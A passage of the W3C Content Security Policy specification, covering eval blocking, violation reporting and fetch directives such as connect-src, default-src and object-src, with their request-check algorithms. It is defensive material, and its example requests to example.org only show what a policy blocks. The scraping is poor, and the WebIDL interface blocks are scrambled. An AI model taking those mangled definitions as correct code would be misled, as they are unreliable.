Execute § 5.3 Report a violation on violation .
-
If policy ’s disposition is "
enforce
", then set result to "Blocked
".
-
-
-
Return result .
4.3. Integration with ECMAScript
ECMAScript
defines
a
HostEnsureCanCompileStrings()
abstract
operation
which
allows
the
host
environment
to
block
the
compilation
of
strings
into
ECMAScript
code.
This
document
defines
an
implementation
of
that
abstract
operation
thich
examines
the
relevant
CSP
list
to
determine
whether
such
compilation
ought
to
be
blocked.
4.3.1. EnsureCSPDoesNotBlockStringCompilation( callerRealm , calleeRealm , source )
Given
two
realms
(
callerRealm
and
calleeRealm
),
and
a
string
(
source
),
this
algorithm
returns
normally
if
string
compilation
is
allowed,
and
throws
an
"
EvalError
"
if
not:
-
Let globals be a list containing callerRealm ’s global object and calleeRealm ’s global object .
-
For each global in globals :
-
Let result be "
Allowed
". -
For each policy in global ’s CSP list :
-
Let source-list be
null
. -
If policy contains a directive whose name is "
script-src
", then set source-list to that directive 's value .Otherwise if policy contains a directive whose name is "
default-src
", then set source-list to that directive’s value . -
If source-list is not
null
, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'
", then:-
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global , policy , and "
script-src
". -
Set violation ’s resource to "
inline
". -
If source-list contains the expression "
'report-sample'
", then set violation ’s sample to the substring of source containing its first 40 characters. -
Execute § 5.3 Report a violation on violation .
-
If policy ’s disposition is "
enforce
", then set result to "Blocked
".
-
-
-
If result is "
Blocked
", throw anEvalError
exception.
-
HostEnsureCanCompileStrings()
does
not
include
the
string
which
is
going
to
be
compiled
as
a
parameter.
We’ll
also
need
to
update
HTML
to
pipe
that
value
through
to
CSP.
<https://github.com/tc39/ecma262/issues/938>
5. Reporting
When one or more of a policy ’s directives is violated, a csp violation report may be generated and sent out to a reporting endpoint associated with the policy .
csp violation reports have the report type "csp-violation".
csp
violation
reports
are
visible
to
ReportingObserver
s
.
[Exposed =Window ]interface :
CSPViolationReportBody ReportBody {readonly attribute USVString ;
documentURL readonly attribute USVString ?;
referrer readonly attribute USVString ?;
blockedURL readonly attribute DOMString ;
effectiveDirective readonly attribute DOMString ;
originalPolicy readonly attribute USVString ?;
sourceFile readonly attribute DOMString ?;
sample readonly attribute SecurityPolicyViolationEventDisposition ;
disposition readonly attribute unsigned short ;
statusCode readonly attribute unsigned long ?;
lineNumber readonly attribute unsigned long ?; };
columnNumber
5.1. Violation DOM Events
enum {
SecurityPolicyViolationEventDisposition ,
"enforce" }; [
"report" Exposed =(Window ,Worker )]interface :
SecurityPolicyViolationEvent Event {(
constructor DOMString ,
type optional SecurityPolicyViolationEventInit = {});
eventInitDict readonly attribute USVString ;
documentURL readonly attribute USVString documentURI ; // historical alias of documentURLreadonly attribute USVString ;
referrer readonly attribute USVString ;
blockedURL readonly attribute USVString blockedURI ; // historical alias of blockedURLreadonly attribute DOMString ;
effectiveDirective readonly attribute DOMString violatedDirective ; // historical alias of effectiveDirectivereadonly attribute DOMString ;
originalPolicy readonly attribute USVString ;
sourceFile readonly attribute DOMString ;
sample readonly attribute SecurityPolicyViolationEventDisposition ;
disposition readonly attribute unsigned short ;
statusCode readonly attribute unsigned long ;
lineno readonly attribute unsigned long lineNumber ; // historical alias of linenoreadonly attribute unsigned long ;
colno readonly attribute unsigned long columnNumber ; // historical alias of colno };dictionary :
SecurityPolicyViolationEventInit EventInit {required USVString ;
documentURL USVString = "";
referrer USVString = "";
blockedURL required DOMString ;
effectiveDirective required DOMString ;
originalPolicy USVString = "";
sourceFile DOMString = "";
sample required SecurityPolicyViolationEventDisposition ;
disposition required unsigned short ;
statusCode unsigned long = 0;
lineno unsigned long = 0; };
colno
The
documentURI
attribute’s
getter
must
return
the
value
of
the
object’s
documentURL
property.
The
blockedURI
attribute’s
getter
must
return
the
value
of
the
object’s
blockedURL
property.
The
violatedDirective
attribute’s
getter
must
return
the
value
of
the
object’s
effectiveDirective
property.
The
lineNumber
attribute’s
getter
must
return
the
value
of
the
object’s
lineno
property.
The
columnNumber
attribute’s
getter
must
return
the
value
of
the
object’s
colno
property.
5.2. Obtain the deprecated serialization of violation
Given
a
violation
(
violation
),
this
algorithm
returns
a
JSON
text
string
representation
of
the
violation,
suitable
for
submission
to
a
reporting
endpoint
associated
with
the
deprecated
report-uri
directive.
-
Let object be a new JavaScript object with properties initialized as follows:
-
"
document-url
" -
The result of executing the URL serializer on violation ’s url , with the
exclude fragment
flag set. -
"
document-uri
" -
A copy of the "
document-url
" property, kept for historical reasons -
"
referrer
" -
The result of executing the URL serializer on violation ’s referrer , with the
exclude fragment
flag set. -
"
blocked-url
" -
The result of executing the URL serializer on violation ’s resource , with the
exclude fragment
flag set. -
"
blocked-uri
" -
A copy of the "
blocked-url
" property, kept for historical reasons -
"
effective-directive
" -
violation ’s effective directive
-
"
violated-directive
" -
A copy of the "
effective-directive
" property, kept for historical reasons -
"
original-policy
" -
The serialization of violation ’s policy
-
"
disposition
" -
The disposition of violation ’s policy
-
"
status-code
" -
violation ’s status
-
"
script-sample
" -
violation ’s sample
Note: The name
script-sample
was chosen for compatibility with an earlier iteration of this feature which has shipped in Firefox since its initial implementation of CSP. Despite the name, this field will contain samples for non-script violations, like stylesheets. The data contained in aSecurityPolicyViolationEvent
object, and in reports generated via the newreport-to
directive, is named in a more encompassing fashion:sample
.
-
"
-
If violation ’s source file is not
null
:-
Set object ’s "
source-file
" property to the result of executing the URL serializer on violation ’s source file , with theexclude fragment
flag set. -
Set object ’s "
lineno
" property to violation ’s line number . -
Set object ’s "
line-number
" property to violation ’s line number . -
Set object ’s "
colno
" property to violation ’s column number . -
Set object ’s "
column-number
" property to violation ’s column number .Note: the "
line-number
" and "column-number
" properties are maintained for historical reasons and are duplicates of "lineno
" and "colno
" respectively.
-
-
Assert: If object ’s "
blocked-url
" property is not "inline
", then its "sample
" property is the empty string. -
Return the result of executing
JSON.stringify()
on object .
5.3. Report a violation
Given
a
violation
(
violation
),
this
algorithm
reports
it
to
the
endpoint
specified
in
violation
’s
policy
,
and
fires
a
SecurityPolicyViolationEvent
at
violation
’s
element
,
or
at
violation
’s
global
object
as
described
below:
-
Let global be violation ’s global object .
-
Let target be violation ’s element .
-
Queue a task to run the following steps:
Note: We "queue a task" here to ensure that the event targeting and dispatch happens after JavaScript completes execution of the task responsible for a given violation (which might manipulate the DOM).
-
If target is not
null
, and global is aWindow
, and target ’s shadow-including root is not global ’s associatedDocument
, set target tonull
.Note: This ensures that we fire events only at elements connected to violation ’s policy ’s
Document
. If a violation is caused by an element which isn’t connected to that document, we’ll fire the event at the document rather than the element in order to ensure that the violation is visible to the document’s listeners. -
If target is
null
:-
Set target be violation ’s global object .
-
If target is a
Window
, set target to target ’s associatedDocument
.
-
-
Fire an event named
securitypolicyviolation
that uses theSecurityPolicyViolationEvent
interface at target with its attributes initialized as follows:-
documentURL
-
The result of executing the URL serializer on violation ’s url , with the
exclude fragment
flag set. -
referrer
-
The result of executing the URL serializer on violation ’s referrer , with the
exclude fragment
flag set. -
blockedURL
-
The result of executing the URL serializer on violation ’s resource , with the
exclude fragment
flag set. -
effectiveDirective
-
violation ’s effective directive
-
originalPolicy
-
The serialization of violation ’s policy
-
disposition
-
violation ’s disposition
-
sourceFile
-
The result of executing the URL serializer on violation ’s source file , with the
exclude fragment
flag set if the violation ’s source file it notnull
and the empty string otherwise. -
statusCode
-
violation ’s status
-
lineno
-
violation ’s line number
-
colno
-
violation ’s column number
-
sample
-
violation ’s sample
-
bubbles
-
true
-
composed
-
true
Note: We set the
composed
attribute, which means that this event can be captured on its way into, and will bubble its way out of a shadow tree.target
, et al will be automagically scoped correctly for the main tree. -
-
If violation ’s policy ’s directive set contains a directive named "
report-uri
" ( directive ):-
If violation ’s policy ’s directive set contains a directive named "
report-to
", skip the remaining substeps. -
For each token returned by splitting a string on ASCII whitespace with directive ’s value as the
input
.-
Let endpoint be the result of executing the URL parser with token as the input, and violation ’s url as the base URL .
-
If endpoint is not a valid URL, skip the remaining substeps.
-
Let request be a new request , initialized as follows:
- method
-
"
POST
" - url
-
violation ’s url
- origin
-
violation ’s global object ’s relevant settings object ’s origin
- window
-
"
no-window
" - client
-
violation ’s global object ’s relevant settings object
- destination
-
"
report
" - initiator
-
""
- credentials mode
-
"
same-origin
" - keepalive flag
-
"
true
" - header list
-
A header list containing a single header whose name is "
Content-Type
", and value is "application/csp-report
" - body
-
The result of executing § 5.2 Obtain the deprecated serialization of violation on violation
- redirect mode
-
"
error
"
Note: request ’s mode defaults to "
no-cors
"; the response is ignored entirely. -
Fetch request . The result will be ignored.
-
Note: All of this should be considered deprecated. It sends a single request per violation, which simply isn’t scalable. As soon as this behavior can be removed from user agents, it will be.
Note:
report-uri
only takes effect ifreport-to
is not present. That is, the latter overrides the former, allowing for backwards compatibility with browsers that don’t support the new mechanism. -
-
If violation ’s policy ’s directive set contains a directive named "
report-to
" ( directive ):-
Let body be a new
CSPViolationReportBody
, initialized as follows:-
documentURL
-
The result of executing the URL serializer on violation ’s url , with the
exclude fragment
flag set. -
referrer
-
The result of executing the URL serializer on violation ’s referrer , with the
exclude fragment
flag set. -
blockedURL
-
The result of executing the URL serializer on violation ’s resource , with the
exclude fragment
flag set. -
effectiveDirective
-
violation ’s effective directive .
-
originalPolicy
-
The serialization of violation ’s policy .
-
sourceFile
-
The result of executing the URL serializer on violation ’s source file , with the
exclude fragment
flag set, if violation ’s source file is not null, or null otherwise. -
sample
-
violation ’s sample .
-
disposition
-
violation ’s disposition .
-
statusCode
-
violation ’s status .
-
lineNumber
-
violation ’s line number , if violation ’s source file is not null, or null otherwise.
-
columnNumber
-
violation ’s column number , if violation ’s source file is not null, or null otherwise.
-
-
Let settings object be violation ’s global object ’s relevant settings object .
-
Execute [REPORTING] 's Queue data as type for endpoint group on settings algorithm with the following arguments:
- data
-
body
- type
-
"csp-violation"
- endpoint group
-
directive ’s value .
- settings
-
settings object
-
-
6. Content Security Policy Directives
This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in § 6.1 Fetch Directives ), directives which govern the state of a document (in § 6.2 Document Directives ), directives which govern aspects of navigation (in § 6.3 Navigation Directives ), and directives which govern reporting (in § 6.4 Reporting Directives ). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see § 6.5 Directives Defined in Other Documents for examples).
To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:
-
Both the script-src and object-src directives, or
-
a default-src directive
In
either
case,
developers
SHOULD
NOT
include
either
'unsafe-inline'
,
or
data:
as
valid
sources
in
their
policies.
Both
enable
XSS
attacks
by
allowing
code
to
be
included
directly
in
the
document
itself;
they
are
best
avoided
completely.
6.1. Fetch Directives
Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.
6.1.1.
child-src
The
child-src
directive
governs
the
creation
of
nested
browsing
contexts
(e.g.
iframe
and
frame
navigations)
and
Worker
execution
contexts.
The
syntax
for
the
directive’s
name
and
value
is
described
by
the
following
ABNF:
directive-name = "child-src" directive-value = serialized-source-list
This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories:
-
destination is "
document
", and whose target browsing context is a nested browsing context (e.g. requests which will populate aniframe
orframe
element) -
destination is either "
serviceworker
", "sharedworker
", or "worker
" (which are fed to the run a worker algorithm forServiceWorker
,SharedWorker
, andWorker
, respectively).
Content-Security-Policy: child-src https://example.com/
Fetches
for
the
following
code
will
all
return
network
errors,
as
the
URLs
provided
do
not
match
child-src
's
source
list
:
< iframe src = "https://example.org" ></ iframe > < script > var blockedWorker= new Worker( "data:application/javascript,..." ); </ script >
6.1.1.1.
child-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
child-src
and policy is "No
", return "Allowed
". -
Return the result of executing the pre-request check for the directive whose name is name on request and policy , using this directive’s value for the comparison.
6.1.1.2.
child-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
child-src
and policy is "No
", return "Allowed
". -
Return the result of executing the post-request check for the directive whose name is name on request , response , and policy , using this directive’s value for the comparison.
6.1.2.
connect-src
The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "connect-src" directive-value = serialized-source-list
This
directive
controls
requests
which
transmit
or
receive
data
from
other
origins.
This
includes
APIs
like
fetch()
,
[XHR]
,
[EVENTSOURCE]
,
[BEACON]
,
and
a
's
ping
.
This
directive
also
controls
WebSocket
[WEBSOCKETS]
connections,
though
those
aren’t
technically
part
of
Fetch.
EventSource
maintains
an
open
HTTP
connection
to
a
server
in
order
to
receive
push
notifications,
WebSockets
open
a
bidirectional
communication
channel
between
your
browser
and
a
server,
and
XMLHttpRequest
makes
arbitrary
HTTP
requests
on
your
behalf.
These
are
powerful
APIs
that
enable
useful
functionality,
but
also
provide
tempting
avenues
for
data
exfiltration.
The
connect-src
directive
allows
you
to
ensure
that
these
and
similar
sorts
of
connections
are
only
opened
to
origins
you
trust.
Sending
a
policy
that
defines
a
list
of
source
expressions
for
this
directive
is
straightforward.
For
example,
to
limit
connections
to
only
https://example.com
,
send
the
following
header:
Content-Security-Policy: connect-src https://example.com/
Fetches
for
the
following
code
will
all
return
network
errors,
as
the
URLs
provided
do
not
match
connect-src
's
source
list
:
< a ping = "https://example.org" > ...< script > var xhr= new XMLHttpRequest(); xhr. open( 'GET' , 'https://example.org/' ); xhr. send(); var ws= new WebSocket( "wss://example.org/" ); var es= new EventSource( "https://example.org/" ); navigator. sendBeacon( "https://example.org/" , { ... }); </ script >
6.1.2.1.
connect-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
connect-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.2.2.
connect-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
connect-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.3.
default-src
The default-src directive serves as a fallback for the other fetch directives . The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "default-src" directive-value = serialized-source-list
If
a
default-src
directive
is
present
in
a
policy,
its
value
will
be
used
as
the
policy’s
default
source
list.
That
is,
given
default-src
'none';
script-src
'self'
,
script
requests
will
use
'self'
as
the
source
list
to
match
against.
Other
requests
will
use
'none'
.
This
is
spelled
out
in
more
detail
in
the
§ 4.1.3
Should
request
be
blocked
by
Content
Security
Policy?
and
§ 4.1.4
Should
response
to
request
be
blocked
by
Content
Security
Policy?
algorithms.
Content-Security-Policy: default-src 'self'
will have the same behavior as the following header:
Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; prefetch-src 'self'; object-src 'self'; script-src-elem 'self'; script-src-attr 'self'; style-src-elem 'self'; style-src-attr 'self'; worker-src 'self'
That
is,
when
default-src
is
set,
every
fetch
directive
that
isn’t
explicitly
set
will
fall
back
to
the
value
default-src
specifies.
script-src
directive
is
explicitly
specified,
for
example,
then
the
value
of
default-src
has
no
influence
on
script
requests.
That
is,
the
following
header:
Content-Security-Policy: default-src 'self'; script-src-elem https://example.com
will have the same behavior as the following header:
Content-Security-Policy: connect-src 'self'; font-src 'self'; frame-src 'self'; img-src 'self'; manifest-src 'self'; media-src 'self'; prefetch-src 'self'; object-src 'self'; script-src-elem https://example.com; script-src-attr 'self'; style-src-elem 'self'; style-src-attr 'self'; worker-src 'self'
Given
this
behavior,
one
good
way
to
build
a
policy
for
a
site
would
be
to
begin
with
a
default-src
of
'none'
,
and
to
build
up
a
policy
from
there
which
allowed
only
those
resource
types
which
are
necessary
for
the
particular
page
the
policy
will
apply
to.
6.1.3.1.
default-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
default-src
and policy is "No
", return "Allowed
". -
Return the result of executing the pre-request check for the directive whose name is name on request and policy , using this directive’s value for the comparison.
6.1.3.2.
default-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
default-src
and policy is "No
", return "Allowed
". -
Return the result of executing the post-request check for the directive whose name is name on request , response , and policy , using this directive’s value for the comparison.
6.1.3.3.
default-src
Inline
Check
This directive’s inline check algorithm is as follows:
Given
an
Element
(
element
),
a
string
(
type
),
a
policy
(
policy
)
and
a
string
(
source
):
-
Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
default-src
and policy is "No
", return "Allowed
". -
Otherwise, return the result of executing the inline check for the directive whose name is name on element , type , policy and source , using this directive’s value for the comparison.
6.1.4.
font-src
The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "font-src" directive-value = serialized-source-list
Content-Security-Policy: font-src https://example.com/
Fetches
for
the
following
code
will
return
a
network
errors,
as
the
URL
provided
do
not
match
font-src
's
source
list
:
< style > @ font-face { font-family : "Example Font" ; src : url ( "https://example.org/font" ); } body { font-family : "Example Font" ; } </ style >
6.1.4.1.
font-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
font-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.4.2.
font-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
font-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.5.
frame-src
The frame-src directive restricts the URLs which may be loaded into nested browsing contexts . The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "frame-src" directive-value = serialized-source-list
Content-Security-Policy: frame-src https://example.com/
Fetches
for
the
following
code
will
return
a
network
errors,
as
the
URL
provided
do
not
match
frame-src
's
source
list
:
< iframe src = "https://example.org/" > </ iframe >
6.1.5.1.
frame-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
frame-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.5.2.
frame-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
frame-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.6.
img-src
The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "img-src" directive-value = serialized-source-list
This
directive
controls
requests
which
load
images.
More
formally,
this
includes
requests
whose
destination
is
"
image
"
[FETCH]
.
Content-Security-Policy: img-src https://example.com/
Fetches
for
the
following
code
will
return
a
network
errors,
as
the
URL
provided
do
not
match
img-src
's
source
list
:
< img src = "https://example.org/img" >
6.1.6.1.
img-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
img-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.6.2.
img-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
frame-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.7.
manifest-src
The manifest-src directive restricts the URLs from which application manifests may be loaded [APPMANIFEST] . The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "manifest-src" directive-value = serialized-source-list
Content-Security-Policy: manifest-src https://example.com/
Fetches
for
the
following
code
will
return
a
network
errors,
as
the
URL
provided
do
not
match
manifest-src
's
source
list
:
< link rel = "manifest" href = "https://example.org/manifest" >
6.1.7.1.
manifest-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
manifest-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.7.2.
manifest-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
manifest-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.8.
media-src
The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "media-src" directive-value = serialized-source-list
Content-Security-Policy: media-src https://example.com/
Fetches
for
the
following
code
will
return
a
network
errors,
as
the
URL
provided
do
not
match
media-src
's
source
list
:
< audio src = "https://example.org/audio" ></ audio > < video src = "https://example.org/video" > < track kind = "subtitles" src = "https://example.org/subtitles" > </ video >
6.1.8.1.
media-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
media-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.8.2.
media-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
media-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.9.
object-src
The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "object-src" directive-value = serialized-source-list
Content-Security-Policy: object-src https://example.com/
Fetches
for
the
following
code
will
return
a
network
errors,
as
the
URL
provided
do
not
match
object-src
's
source
list
:
< embed src = "https://example.org/flash" ></ embed > < object data = "https://example.org/flash" ></ object > < applet archive = "https://example.org/flash" ></ applet >
If
plugin
content
is
loaded
without
an
associated
URL
(perhaps
an
object
element
lacks
a
data
attribute,
but
loads
some
default
plugin
based
on
the
specified
type
),
it
MUST
be
blocked
if
object-src
's
value
is
'none'
,
but
will
otherwise
be
allowed.
Note:
The
object-src
directive
acts
upon
any
request
made
on
behalf
of
an
object
,
embed
,
or
applet
element.
This
includes
requests
which
would
populate
the
nested
browsing
context
generated
by
the
former
two
(also
including
navigations).
This
is
true
even
when
the
data
is
semantically
equivalent
to
content
which
would
otherwise
be
restricted
by
another
directive,
such
as
an
object
element
with
a
text/html
MIME
type.
Note:
When
a
plugin
resource
is
navigated
to
directly
(that
is,
as
a
plugin
document
in
the
top-level
browsing
context
or
a
nested
browsing
context
,
and
not
as
an
embedded
subresource
via
embed
,
object
,
or
applet
),
any
policy
delivered
along
with
that
resource
will
be
applied
to
the
plugin
document
.
This
means,
for
instance,
that
developers
can
prevent
the
execution
of
arbitrary
resources
as
plugin
content
by
delivering
the
policy
object-src
'none'
along
with
a
response.
Given
plugins'
power
(and
the
sometimes-interesting
security
model
presented
by
Flash
and
others),
this
could
mitigate
the
risk
of
attack
vectors
like
Rosetta
Flash
.
6.1.9.1.
object-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
object-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.9.2.
object-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
object-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.10.
prefetch-src
The prefetch-src directive restricts the URLs from which resources may be prefetched or prerendered. The syntax for the directive’s name and value is described by the following ABNF:
directive-name = "prefetch-src" directive-value = serialized-source-list
Content-Security-Policy: prefetch-src https://example.com/
Fetches
for
the
following
code
will
return
network
errors,
as
the
URLs
provided
do
not
match
prefetch-src
's
source
list
:
< link rel = "prefetch" src = "https://example.org/" ></ link > < link rel = "prerender" src = "https://example.org/" ></ link >
6.1.10.1.
prefetch-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
prefetch-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.3 Does request match source list? on request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.10.2.
prefetch-src
Post-request
check
This directive’s post-request check is as follows:
Given a request ( request ), a response ( response ), and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
prefetch-src
and policy is "No
", return "Allowed
". -
If the result of executing § 6.6.2.4 Does response to request match source list? on response , request , this directive’s value , and policy , is "
Does Not Match
", return "Blocked
". -
Return "
Allowed
".
6.1.11.
script-src
The
script-src
directive
restricts
the
locations
from
which
scripts
may
be
executed.
This
includes
not
only
URLs
loaded
directly
into
script
elements,
but
also
things
like
inline
script
blocks
and
XSLT
stylesheets
[XSLT]
which
can
trigger
script
execution.
The
syntax
for
the
directive’s
name
and
value
is
described
by
the
following
ABNF:
directive-name = "script-src" directive-value = serialized-source-list
The
script-src
directive
acts
as
a
default
fallback
for
all
script-like
destinations
(including
worker-specific
destinations
if
worker-src
is
not
present).
Unless
granularity
is
desired
script-src
should
be
used
in
favor
of
script-src-attr
and
script-src-elem
as
in
most
situations
there
is
no
particular
reason
to
have
separate
lists
of
permissions
for
inline
event
handlers
and
script
elements.
The
script-src
directive
governs
five
things:
-
Script requests MUST pass through § 4.1.3 Should request be blocked by Content Security Policy? .
-
Script responses MUST pass through § 4.1.4 Should response to request be blocked by Content Security Policy? .
-
Inline
script
blocks MUST pass through § 4.2.4 Should element’s inline type behavior be blocked by Content Security Policy? . Their behavior will be blocked unless every policy allows inline script, either implicitly by not specifying ascript-src
(ordefault-src
) directive, or explicitly, by specifying "unsafe-inline
", a nonce-source or a hash-source that matches the inline block. -
The following JavaScript execution sinks are gated on the "
unsafe-eval
" source expression:-
setTimeout()
with an initial argument which is not callable. -
setInterval()
with an initial argument which is not callable.
Note: If a user agent implements non-standard sinks like
setImmediate()
orexecScript()
, they SHOULD also be gated on "unsafe-eval
". Note: Since "unsafe-eval
" acts as a global page flag,script-src-attr
andscript-src-elem
are not used when performing this check, insteadscript-src
(or it’s fallback directive) is always used. -
Navigation to
javascript:
URLs MUST pass through § 6.1.11.3 script-src Inline Check .
6.1.11.1.
script-src
Pre-request
check
This directive’s pre-request check is as follows:
Given a request ( request ) and a policy ( policy ):
-
Let name be the result of executing § 6.7.1 Get the effective directive for request on request .
-
If the result of executing § 6.7.4 Should fetch directive execute on name ,
script-src
